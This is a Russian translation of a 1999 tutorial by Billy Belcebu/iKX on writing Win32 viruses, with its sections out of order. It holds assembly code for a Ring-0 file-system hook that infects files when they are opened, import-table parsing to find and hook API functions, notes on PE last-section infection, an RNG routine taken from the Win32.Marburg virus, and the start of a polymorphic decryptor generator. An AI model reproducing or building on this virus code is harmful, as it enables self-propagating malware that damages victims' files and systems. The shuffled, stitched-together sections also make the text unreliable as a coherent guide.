Windows NT: поле lpSecurityDescriptor задает дескриптор безопасности нового треда. Если lpThreadAttributes равен NULL, тред получает дескриптор безопасности по умолчанию.

Windows 95: поле lpSecurityDescriptor игнорируется.

• dwStackSize: задает в байтах размер стека нового треда. Если указан 0, то размер стека будет равен размеру стека главного треда процесса. Стек автоматически выделяется в адресном пространстве процесса и освобождается, когда тред завершает свое выполнение. Обратите внимание на то, что размер стека увеличивается по необходимости. CreateThread пытается выделить указанное количество байтов, а если это не удается, возвращает ошибку.


• lpStartAddress: стартовый адрес нового треда. Обычно это адрес функции, имеющая соглашение о вызове WinAPI, которая принимает 32-х битный указатель в качестве аргумента и возвращает 32-х битный код возврата. Ее прототипом является:

DWORD WINAPI ThreadFunc( LPVOID );

• lpParameter: задает 32-х битное значение, которое будет передано треду в качестве аргумента.

• dwCreationFlags: задает дополнительные флаги, контролирующие создание треда. Если задан флаг CREATE_SUSPENDED, тред создается в замороженном состоянии и начнет свое выполнение только тогда, когда будет вызвана функция ResumeThread. Если это значение равно нулю, тред начинает выполняться немедленно после создания. На данный момент другие значения не поддерживаются.

• lpThreadId: указывает на 32-х битную переменную, которая получает идентификатор треда.

Возвращаемые значения ---------------------

• Если вызов функции прошел успешно, возвращаемое значение является хэндлом нового треда.

• Если вызов функции не удастся, возвращаемое значение будет равно NULL. Чтобы получить дополнительную информацию об ошибке, вызовите GetLastError.

Windows 95: CreateThread успешно выполняется только тогда, когда она вызывается в контексте 32-х битной программы. 32-х битная DLL не может создать дополнительный тред, если эта DLL была вызвана 16-ти битной программой.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Функция WaitForSingleObject возвращает управление программе, когда случается одно из следующего:

• Указанный объект находится в сигнализирующем состоянии.

• Закончился заданный интервал времени

DWORD WaitForSingleObject( HANDLE hHandle, // хэндл ожидаемого объекта DWORD dwMilliseconds // интервал таймаута в миллисекундах );

Параметры ---------

• hHandle: идентифицирует объект.

Windows NT: хэндл должен иметь доступ типа SYNCHRONIZE.

• dwMilliseconds: задает интервал таймаута в миллисекундах. Функция возвращает управление, если заданное время закончилось, даже если объект находится в несигнализирующем состоянии. Если dwMilliseconds равно нулю, функция тестирует состояние объекта и возвращает управление немедленно. Если dwMilliseconds равно INFINITE, интервал таймаута бесконечен.



Возвращаемые значения ---------------------

• Если вызов функции прошел успешно, возвращаемое значение указывает событие, которое заставило функцию вернуться.

• Если вызов функции прошел неуспешно, возвращаемое значение равно WAIT_FAILED. Чтобы получить дополнительную информацию об ошибке, вызовите GetLastError.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Если этого для вас недостаточно, или вы не понимаете ничего, что написано в описании функций, вот ASM-пример.

;---[ CUT HERE ]------------------------------------------------------------- .586p .model flat

extrn CreateThread:PROC extrn WaitForSingleObject:PROC extrn MessageBoxA:PROC extrn ExitProcess:PROC

.data tit1 db "Parent Process",0 msg1 db "Spread your wings and fly away...",0 tit2 db "Child Process",0 msg2 db "Billy's awesome bullshit!",0

lpParameter dd 00000000h lpThreadId dd 00000000h

.code

multitask: push offset lpThreadId ; lpThreadId push 00h ; dwCreationFlags push offset lpParameter ; lpParameter push offset child_process ; lpStartAddress push 00h ; dwStackSize push 00h ; lpThreadAttributes call CreateThread

; EAX = Thread handle

push 00h ; 'Parent Process' blah blah push offset tit1 push offset msg1 push 00h call MessageBoxA

push 0FFh ; Ждем бесконечно push eax ; Хэндл ожидаемого объекта (тред) call WaitForSingleObject

push 00h ; Выходим из программы call ExitProcess

child_process: push 00h ; 'Child Process' blah blah push offset tit2 push offset msg2 push 00h call MessageBoxA ret

end multitask ;---[ CUT HERE ]-------------------------------------------------------------

Если вы протестируете вышеприведенный код, вы увидите, что если вы кликните по кнопке 'Accept' в дочернем процессе, то вам придется кликнуть также по 'Accept' родительского процесса, но если вы закроете родительский процесс, оба messagebox'а будут закрыты. Если родительский процесс умирает, все порожденные им процессы (здесь и далее до конца данного подраздела Billy употребляет слово 'процесс' в значении 'тред' - прим. пер.) также умирают. Но если умрет дочерний процесс, родительский выживет.

Таким образом с помощью WaitForSingleObject вы можете контролировать оба процесса - родительский и дочерний. Представьте себе следующие возможности: поиск по директориям в поисках определенного файла (например, MIRC.INI), и в то же время генерация полиморфного декриптора и распаковка дроппера... Вау! ;)

Смотрите туториал Benny о тредах и фиберах (29A#4) (есть на http://www.wasm.ru - прим. пер.).


Наложение


Эта простая техника была вначале представлена Demogorgon/PS для скрытия кода. Но используя ее таким образом, который я продемонстрирую, она может помочь сэкономить немного байтов. Например, давайте представим, что есть процедура, которая устанавливаем флаг переноса, если происходит ошибка и очищает его, если таковой не произошло.

noerr: clc ; 1 байт jmp exit ; 2 байта error: stc ; 1 байт exit: ret ; 1 байт

Но мы можем уменьшить размер на 1 байт, если содержимое одного из 8 регистров для нас не важно (например, давайте представим, что содержимое ECX не важно):

noerr: clc ; 1 байт mov cl,00h ; 1 байт \ org $-1 ; > MOV CL,0F9H error: stc ; 1 байт / ret ; 1 байт

Мы можем избежать CLC, внеся небольшие изменения: используя TEST (с AL, так как это более оптимизировано) очистим флаг переноса, и AL не будет модифицирован :)

noerr: test al,00h ; 1 байт \ org $-1 ; > TEST AL,0AAH error: stc ; 1 байт / ret ; 1 байт

Красиво, правда?



Напоследок


Еще один туториал подошел к концу... В какой-то мере его было немного скучно писать (хей, я человек, я предпочитаю программировать, а не писать), но во мне всегда жива надежда, что у того, кто будет читать результаты моих трудов, возникнут новые идеи. Как я уже сказал в введении, почти весь код, приведенный в данном туториале, написан мной (в отличии от того, что было в DOS'овском путеводителе). Я надеюсь, что это поможет вам.

Я знаю, что не затронул некоторых вещей, например заражение с помощью добавления новой секции или технику "Call Gate" или "вставка VMM" для перехода в Ring-0. Я всегда пытался сделать туторилы как можно проще. Теперь вы можете решить, было ли это правильным выбором или нет. Время покажет.

Этот документ посвящен людям, которые помогали мне, когда я делал свои первые шаги в программировании под Win32: zAxOn, Super, nIgr0, Vecna, b0z0, Ypsilon, MDriller, Qozah, Benny, Jacky Qwerty (не добровольная помощь, но тем не менее...), Lord Julus (да, я многому научился из его туториалов!), StarZer0 и многих других. Конечно, также заслуживают упоминания Int13h, Owl, VirusBuster, Wintermute, Somniun, SeptiC, TechnoPhuk, SlageHammer и, конечно, вы - мой читатель. Это было написано для вас!

- Mejor morir de pie que vivir arrodillado - (Ernesto "Che" Guevara)

- Лучше умереть, стоя в полный рост, чем жить, стоя на коленях - (Эрнесто "Че" Гевара)

Валенсия, 6 сентября 1999.

(c) 1999 Billy Belcebu/iKX

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>



Необходимые изменения


Хорошо, здесь я объясню вам изменения, которые необходимо выполнить при заражении PE. Я предполагаю, что вы делаете вирус, который увеличивает размер последней секции PE-файла. Эта техника получила наибольшее распространение среди нас, да и она, между прочим, гораздо проще, чем добавление другой секции. Давайте посмотрим, как вирус может изменить заголовок исполняемого файла. Для этого мы используем программу INFO-PE Lord'а Julus'а [SLAM].

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·



Несколько вводных слов


Привет, дорогие друзья,
вы помните "Путеводитель Billy Belcebu по написанию вирусов"? Это был большой туториал об устаревших в настоящее время вирусах под MS-DOS. В нем я рассказал о большинстве известных вирусных техник под DOS. Туториал был написан для начинающих, чтобы они стали чуть более продвинутыми. И вот я снова здесь и пишу еще один классный (я надеюсь) туториал, но в этот раз я буду говорить о новой угрозе нашего времени, вирусах под Win32, и, конечно, обо всем, что связано с этой темой. Я заметил отсутствие полноценного пособия и спросил себя, почему бы мне не написать его самому? Сказано - сделано :). Пионером в области Win32-вирусов была группа VLAD, а пионером в области туториалов на эту тему стал Lord Julus. Я не забыл о парне, который написал интересные туториалы и зарелизил их до Lord Julus'а, конечно, я говорю о JHB. Интересные техники были разработаны Murkry, а затем Jacky Qwerty... Я надеюсь, что не забыл никого, кто сыграл еще важную роль в короткой истории создания вирусов под Win32. Обратите внимания, что я не забыл о родоначальниках всего этого.

Как обычно, я хочу поблагодарить несколько музыкальных групп, таких как Blind Guardian, HammerFall, Stratovarius, Rhapsody, Marilyn Manson, Iron Maiden, Metallica, Iced Earth, RAMMS+EIN, Mago De Oz, Avalanch, Fear Factory, Korn, Hamlet и Def Con Dos. Их музыка создала прекрасную атмосферу для написания огромных туториалов и кода.

Структура этго туториала отличается от моих прежних пособий, теперь я поместил в начало краткое содержание, а весь приведенный код написан мной или основывается на чужом, но адаптирован. В очень редких случаях он попросту рипнут ;). Шучу. Но я действительно постарался избежать ошибок, допущенных мной в моих туториалах о вирусах под почти исчезнувший в наше время MS-DOS (RIP).

Я должен поблагодарить Super/29A, который помог мне при создании данного туториала, он был одним из моих бета-тестеров, а также пожертвовал кое-что для данного проекта.

ОБРАТИТЕ ВНИМАНИЕ: Английский не является моих родным языком, поэтому прошу извинить меня за возможные ошибки (вероятно, их довольно много) и сообщить мне о них, чтобы я мог учесть это при обновлениях данного документа (я помещу ник того, кто укажет мне на ошибки, наряду с благодарностью).

(Примечание переводчика: обратите внимание, что документ, который вы читаете, является переводом на РУССКИЙ. Информацию об ошибках в переводе следует слать переводчику, а не Billy Belcebu.)

--- Вот мои контактные данные (но не спрашивайте у меня всякую ерунду, у меня не так много времени)

¦ E-mail billy_belcebu@mixmail.com ¦ Personal web page http://members.xoom.com/billy_bel http://www.cryogen.com/billy_belcebu

Sweet dreams are made of this...

(c) 1999 Billy Belcebu/iKX



Обpаботчик файловой системы: настоящее веселье!!!


Здесь, собственно, и находится сама пpоцедуpа заpажения, но пpежде нам нужно сделать несколько вещей. Во-пеpвых, мы должны сделать копию стека, т.е. сохpанить содеpжимое ESP в EBP. После этого нам нужно вычесть 20 байтов из ESP, чтобы пофиксить указатель на стек. Давайте посмотpим итоговый код:

New_Handler equ $-(offset virus_start) FSA_Hook: push ebp ; Сохpаняем содеpжимое EBP для ; последующего восстановления mov ebp,esp ; Сохpаняем копию содеpжимого ESP ; в EBP sub esp,20h ; И фиксим стек

Тепеpь, так как наша функция вызывается системой с опpеделенными паpаметpами, мы должны запушить их, как это делал оpигинальный обpаботчик. Паpаметpы, котоpые должны быть запушены, находятся начиная с EBP+08h по EBP+1Ch (включительно) и соответствуют стpуктуpу IOREQ.

push dword ptr [ebp+1Ch] ; указатель на стpуктуpу IQREQ push dword ptr [ebp+18h] ; кодовая стpаница стpоки, пеpеданной ; пользователем push dword ptr [ebp+14h] ; вид pесуpса, на котоpом выполняется ; опеpация push dword ptr [ebp+10h] ; номеp пpивода (начиная с 1), на ; котоpом выполняется опеpация (-1, ; если UNC) push dword ptr [ebp+0Ch] ; функция, котоpая будет выполнена push dword ptr [ebp+08h] ; адpес FSD-функции, котоpая должна ; быть вызвана

Тепеpь мы поместили все нужные паpаметpы куда надо, поэтому нам больше не нужно о них беспокоиться. Тепеpь немного инфоpмации о функции IFSFN:

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ** ID IFS-функции пеpедается IFSMgr_CallProvider

IFSFN_READ equ 00h ; читать из файла IFSFN_WRITE equ 01h ; писать в файл IFSFN_FINDNEXT equ 02h ; найти след. (LFN-хэндл) IFSFN_FCNNEXT equ 03h ; уведомл. об изменен. "найти след." IFSFN_SEEK equ 0Ah ; установить хэндл файла IFSFN_CLOSE equ 0Bh ; закpыть хэндл IFSFN_COMMIT equ 0Ch ; выделить данные для хэндла IFSFN_FILELOCKS equ 0Dh ; закpыть/откpыть байтовый диапазон IFSFN_FILETIMES equ 0Eh ; получить/установить вpемя мод. файла IFSFN_PIPEREQUEST equ 0Fh ; опеpации с именными пайпами IFSFN_HANDLEINFO equ 10h ; получить/установить инф. о файле IFSFN_ENUMHANDLE equ 11h ; енумеpация инф. по хэндлу файла IFSFN_FINDCLOSE equ 12h ; закpыть поиск LFN IFSFN_FCNCLOSE equ 13h ; Hайти Изменить Уведомить Закpыть IFSFN_CONNECT equ 1Eh ; пpисоединить или монтиpовать pесуpс IFSFN_DELETE equ 1Fh ; удаление файла IFSFN_DIR equ 20h ; манипуляции с диpектоpиями IFSFN_FILEATTRIB equ 21h ; Манипуляции с DOS-аттpиб. файла IFSFN_FLUSH equ 22h ; сбpосить данные на диск IFSFN_GETDISKINFO equ 23h ; узнать кол-во своб. пp-ва IFSFN_OPEN equ 24h ; откpыть файл IFSFN_RENAME equ 25h ; пеpеименовать путь IFSFN_SEARCH equ 26h ; искать по имени IFSFN_QUERY equ 27h ; узнать инфу о pесуpсе (сетевом) IFSFN_DISCONNECT equ 28h ; отсоединиться от pесуpса (сетевого) IFSFN_UNCPIPEREQ equ 29h ; опеpация над именованным пайпом IFSFN_IOCTL16DRIVE equ 2Ah ; запpос к диску (16 бит, IOCTL) IFSFN_GETDISKPARMS equ 2Bh ; получить DPB IFSFN_FINDOPEN equ 2Ch ; начать файловый LFN-поиск IFSFN_DASDIO equ 2Dh ; пpямой доступ к диску -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·


В нашем пеpвом виpусе нас будет интеpесовать только 24h, то есть откpытие файла. Система вызывает эту функция очень часто. Код настолько пpост, насколько вы можете это пpедставить :).

cmp dword ptr [ebp+0Ch],24h ; Check if system opening file jnz back2oldhandler ; If not, skip and return to old h.

Теперь начинается самая потеха. Когда мы узнаем, что система запрашивает открытие файла, настает наше время. Во-первых, мы должны проверить не обрабатываем ли мы наш собственный вызов... Это просто, добавьте небольшую переменную, которая решит вам эту проблему. Да, почти забыл, получите дельта-смещение :).

pushad call ring0_delta ; Получаем дельта-смещение ring0_delta: pop ebx sub ebx,offset ring0_delta

cmp byte ptr [ebx+semaphore],00h ; Не мы ли попытались совершить jne pushnback ; данный вызов?

inc byte ptr [ebx+semaphore] ; Избегаем обработки наших вызовов pushad call prepare_infection ; Мы рассмотрим это далее call infection_stuff popad dec byte ptr [ebx+semaphore] ; Прекращаем избегание :)

pushnback: popad

Теперь я продолжу рассказывать о собственно обработчике, после чего объясню, что я делаю в этих процедурах prepare_infection и infction_stuff. Сейчас мы выходим из функции обработки обращений системы. Сейчас мы должны написать процедуру, которая вызовет старый FileSystem hook. Как вы можете помнить (я надеюсь, что у вас нет склероза), мы поместили в стек все параметры, поэтому единственное, что нам нужно сделать сейчас - это загрузить в регистр старый адрес, а затем совершить по нему вызов. После этого мы добавляем к ESP 18h (чтобы получить в дальнейшем адрес возврата). Вот и все. Думаю, вы лучше это поймете, поглядев на код, поэтому вот он:

back2oldhandler: db 0B8h ; MOV EAX,imm32 opcode Old_Handler equ $-(offset virus_start) dd 00000000h ; здесь находится старый обработчик. call [eax] add esp,18h ; Фиксим стек (6*4) leave ; 6=кол-во. параметров. 4=размер dword ret ; Возврат


Обработка таблицы импортов


Далее следует структура таблицы импортов.

IMAGE_IMPORT_DESCRIPTOR

А теперь посмотрим, что об этом говорит Мэтт Питрек.

DWORD Characteristics

Когда-то это могло быть набором флагов. Тем не менее Microsoft изменила ее значение и никогда не заботилась о том, чтобы обновить WINNT.H. На самом деле это поле является смещением (RVA) массива указателей, каждый из которых указывает на структуру IMAGE_IMPORT_BY_NAME.

DWORD TimeDateStamp

Время/дата, указывающая на то, когда был создан файл.

DWORD ForwarderChain

Это поле относится к форвардингу. Форвардинг - это когда одна DLL шлет ссылку на некоторые свои функции другой DLL. Например, в WinNT NTDLL.DLL (похоже) шлет некоторые из своих экспортируемых функций KERNEL32.DLL. Это поле содержит индекс в массиве FirstThunk. Функция, проиндексированная в этом поле, будет отфорваржена другой DLL. К сожалению, формат форвардинга функций недокументирован, а пример форварднутых функций сложно найти.

DWORD Name

Это RVA на строку в формате ASCIIz, содержащую имя импортируемой DLL, например "KERNEL32.DLL" и "USER32.DLL".

PIMAGE_THUNK_DATA FirstThunk

Это поле является смещением (RVA) объединения IMAGE_THUNK_DATA. Почти в каждом случае данное объединение интерпретируется как указатель на структуру IMAGE_IMPORT_BY_NAME. Если поле не является одним из этих указателей, то это вероятно ординал. Из документации не совсем понятно, можно ли импортивать функцию по ординалу, а не по имени. Важными полями являются IMAGE_IMPORT_DESCRIPTOR - это имя импортируемой DLL и два массива указателей IMAGE_IMPORT_BY_NAME. В EXE-файле два массива (на которые указывают поля Characteristics и FirstThunk) идут параллельно друг с другом и каждый завершается NULL-элементом. Указатели в обоих массивах указывают на структуру IMAGE_IMPORT_BY_NAME.

Теперь, когда вы знаете определения Мэтта Питрека, я помещу здесь необходимый код, чтобы получать из таблицы импортов адреса API-функций и адрес, где находится смещение на функцию (которую мы хотим перехватить, но об этом чуть попозже).


;---[ CUT HERE ]------------------------------------------------------------- ; ; процедура GetAPI_IT ; -------------------- ; ; Далее следует код, который получает кое-какую информацию из таблицы импор- ; тов.

GetAPI_IT proc

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, давайте начнем веселье. Параметры, которые требуются для этой ; ; функции, и возвращаемое значение следующие: ; ; ; ; ВВОД . EDI : Указатель на имя API-функции (чувствительно к регистру) ; ; ВЫВОД . EAX : Адрес API-функции ; ; EBX : Адрес адреса API-функции в таблице импортов ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

mov dword ptr [ebp+TempGA_IT1],edi ; Сохраняем указатель на имя mov ebx,edi xor al,al ; Ищем "\0" scasb jnz $-1 sub edi,ebx ; Получаем размер имени mov dword ptr [ebp+TempGA_IT2],edi ; Сохраняем размер имени

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы сохраняем указатель на имя API-функции во временной ; ; переменной, а затем ищем конец строки, помеченный 0, после чего вычитаем ; ; от нового значения EDI (которое указывает на 0) его старое значение, ; ; получая, таким образом, размер имени API-функции. Просто, не правда ли? ; ; Далее мы сохраняем размер API-функции в другой временной переменной. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

xor eax,eax ; Обнуляем EAX mov esi,dword ptr [ebp+imagebase] ; Загружаем базу образа проц. add esi,3Ch ; Указатель на смещение 3Ch lodsw ; Получаем заголовок PE проц. add eax,dword ptr [ebp+imagebase] ; адрес (нормализованный!) xchg esi,eax lodsd

cmp eax,"EP" ; Это действительно PE? jnz nopes ; Дерьмо!

add esi,7Ch lodsd ; Получаем адрес push eax lodsd ; EAX = Размер pop esi add esi,dword ptr [ebp+imagebase]

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Первое, что мы делаем - это очищаем EAX, потому что нам не нужен мусор в ; ; его верхнем слове. Далее нам мы проверяем PE-сигнатуру заголовка ; ; носителя. Если все в порядке, мы получаем указатель на секцию с таблицей ; ; импортов (.idata). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;



SearchK32: push esi mov esi,[esi+0Ch] ; ESI = Указатель на имя add esi,dword ptr [ebp+imagebase] ; Нормализуем lea edi,[ebp+K32_DLL] ; У-ль на "KERNEL32.dll",0 mov ecx,K32_Size ; ECX = Размер этой строки cld ; Очищаем флаг направления push ecx ; Сохр. размер для дал.исп. rep cmpsb ; Сравниваем байты pop ecx ; Восст. размер pop esi ; Восст. у-ль на импорты jz gotcha ; Если совп., делаем переход add esi,14h ; Получаем след. поле jmp SearchK32 ; След. проход цикла

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы заново push'им ESI. Нам необходимо его сохранить, так как это ; ; начало секции .idata. Затем мы получаем в ESI RVA имена (указатели), ; ; после чего нормализуем это значение с базой образа, превращая, таким ; ; образом его в VA. Далее мы помещаем в EDI указатель на строку ; ; "KERNEL32.dll", в ECX загружаем размер строки, сравниваем две строки и ; ; если они совпадают, значит мы получили еще одну подходящую строку. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

gotcha: cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0? jz nopes ; Отваливаем, если так mov edx,[esi+10h] ; Получаем FirstThunk :) add edx,dword ptr [ebp+imagebase] ; Нормализуем! lodsd or eax,eax ; Это 0? jz nopes ; Дерьмо...

xchg edx,eax ; Получаем указатель на него! add edx,[ebp+imagebase] xor ebx,ebx

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, равно ли поле OriginalFirstThunk NULL, и если так, ; ; выходим из процедуры с ошибкой. Затем мы получаем значение FirstThunk и ; ; нормализуем его, прибавляя imagebase, а затем проверяем, равно ли оно 0 ; ; (если так, у нас проблемы, тогда выходим). Помещаем в EDX полученый ; ; адрес (FirstThunk), нормализуем, после чего в EAX мы сохраняем указатель ; ; на поле FirstThunk. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

loopy: cmp dword ptr [edx],00h ; Последний RVA? Хм... jz nopes cmp byte ptr [edx+03h],80h ; Ординал? Duh... jz reloop



mov edi,dword ptr [ebp+TempGA_IT1] ; Получ. указ. на имя API-ф-ции mov ecx,dword ptr [ebp+TempGA_IT2] ; Получаем размер имени mov esi,[edx] ; Получаем текущую строку add esi,dword ptr [ebp+imagebase] inc esi inc esi push ecx ; Сохраняем ее размер rep cmpsb ; Сохраняем обе строки pop ecx ; Восстанавливаем размер jz wegotit reloop: inc ebx ; Увеличиваем значение указателя add edx,4 ; Получаем указатель на другую loop loopy ; импортированную API-функцию

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, не находимся ли мы в последнем элементе массива ; ; (который отмечен символом null), и если так, заканчиваем работу. Затем ; ; мы проверяем, является ли элемент ординалом, если так, мы получаем еще ; ; один. Далее идет самое интересное: мы помещаем в EDI сохраненный ранее ; ; указатель на имя API-функции, которую мы искали, в ECX у нас находится ; ; размер строки, и мы помещаем в ESI указатель на текущую API-функцию в ; ; таблице импортов. Мы делаем сравнение между этими двумя строками, и если ; ; они не совпадают, мы получаем следующую, пока не найдем ее или не ; ; достигнем последней API-функции в таблице импортов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

wegotit: shl ebx,2 ; Умножаем на 4 (размер dword) add ebx,eax ; Добавляем к значению FirstThunk mov eax,[ebx] ; EAX = адрес API-функции ;) test al,0 ; Это чтобы избежать перехода и org $-1 ; немного соптимизировать :) nopes: stc ; Ошибка! ret

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Очень просто: поскольку счетчик у нас находится в EBX, а массив был ; ; массивом DWORD'ов, мы умножаем на 4 (чтобы получить относительное ; ; смещение, которое отмечает адрес API), а после этого у нас находится в ; ; EBX указатель на желаемый адрес API в таблице импортов, а в EAX у нас ; ; находится адрес API-функции. Совершенно :). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

GetAPI_IT endp

;---[ CUT HERE ]-------------------------------------------------------------

Теперь мы знаем, как играть с таблицей импортов. Но нам нужно еще кое-что.


Очень важная вещь: ГСЧ


Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.

random: in eax,40h ret

Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.

;---[ CUT HERE ]------------------------------------------------------------- ; ; Тестировщик ГСЧ ; --------------- ; ; Если иконки на экране расположены действительно "случайным" образом, значит, ; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы ; заметили странную последовательность в расположении иконок на экране, ; попробуйте другой ГСЧ. ;

.386 .model flat

res_x equ 800d ; Горизонтальное разрешение res_y equ 600d ; Вертикальное разрешение

extrn LoadLibraryA:PROC ; Все APIs, которые нужны extrn LoadIconA:PROC ; тестировщику ГСЧ extrn DrawIcon:PROC extrn GetDC:PROC extrn GetProcAddress:PROC extrn GetTickCount:PROC extrn ExitProcess:PROC

.data

szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz-строка

a_User32 dd 00000000h ; Требуемые переменные h_icon dd 00000000h dc_screen dd 00000000h rnd32_seed dd 00000000h rdtsc equ

.code

RNG_test: xor ebp,ebp ; Вах, я ленив и не удалил ; индексацию из кода... ; Есть проблемы?

rdtsc mov dword ptr [ebp+rnd32_seed],eax

lea eax,dword ptr [ebp+szUSER32] push eax call LoadLibraryA

or eax,eax jz exit_payload

mov dword ptr [ebp+a_User32],eax

push 32512 xor edx,edx push edx call LoadIconA or eax,eax jz exit_payload

mov dword ptr [ebp+h_icon],eax

xor edx,edx push edx call GetDC or eax,eax jz exit_payload mov dword ptr [ebp+dc_screen],eax


mov ecx,00000100h ; Помещаем 256 иконок на экран

loop_payload:

push eax push ecx mov edx,eax push dword ptr [ebp+h_icon] mov eax,res_y call get_rnd_range push eax mov eax,res_x call get_rnd_range push eax push dword ptr [ebp+dc_screen] call DrawIcon pop ecx pop eax loop loop_payload

exit_payload: push 0 call ExitProcess

; RNG - Этот пример создан GriYo/29A (смотри Win32.Marburg) ; ; Чтобы проверить валидность вашего RNG, помещайте его код здесь ;) ;

random proc push ecx push edx mov eax,dword ptr [ebp+rnd32_seed] mov ecx,eax imul eax,41C64E6Dh add eax,00003039h mov dword ptr [ebp+rnd32_seed],eax xor eax,ecx pop edx pop ecx ret random endp

get_rnd_range proc push ecx push edx mov ecx,eax call random xor edx,edx div ecx mov eax,edx pop edx pop ecx ret get_rnd_range endp

end RNG_test

;---[ CUT HERE ]-------------------------------------------------------------

Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции :).


Очищаем 32-х битный регистр и помещаем что-нибудь в LSW


Самый понятный пример - это то, что делают все вирусы, когда помещают количество секций в PE-файле в AX (так как это значение занимает 1 слово в PE-заголовке).

xor eax,eax ; 2 байта mov ax,word ptr [esi+6] ; 4 байта

Или так:

mov ax,word ptr [esi+6] ; 4 байта cwde ; 1 байт

Я все еще удивляюсь, почему все VX-еры используют эти "старую" формулы, особенно, когда у нас есть инструкция 386+, которая делает регистр равным нулю перед помещением слова в AX. Эта инструкция равна MOVZX.

movzx eax,word ptr [esi+6] ; 4 байта

Хех, мы избежали одной лишней инструкции и лишних байтов. Круто, правда?



Очищение переменных в памяти


Это всегда полезно. Обычно люди делают так:

mov dword ptr [ebp+variable],00000000h ; 10 байтов (!)

Ладно, я знаю, что это дико :). Вы можете выиграть 3 байта следующим образом:

and dword ptr [ebp+variable],00000000h ; 7 байтов

Хехехе :)



Основные концепции полиморфного движка


Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.

Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.

;---[ CUT HERE ]------------------------------------------------------------- ; ; Silly PER basic demonstrations (I) ; ---------------------------------- ;

.386 ; Blah .model flat

.data

shit:

buffer db 00h

.code

Silly_I:

lea edi,buffer ; Указатель на буфер mov al,0C3h ; Байт, который нужно записать, находится в AL stosb ; Записать содержимое AL туда, куда указывает ; EDI jmp shit ; Байт, который мы записали, C3, является ; опкодом инструкции RET, т.е. мы заканчиваем ; выполнение

end Silly_I

;---[ CUT HERE ]-------------------------------------------------------------

Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:

mov ecx,virus_size mov edi,offset crypt mov eax,crypt_key @@1: xor dword ptr [edi],eax add edi,4 loop @@1

Соответственно, код для генерации декриптора с нуля будет примерно следующим:

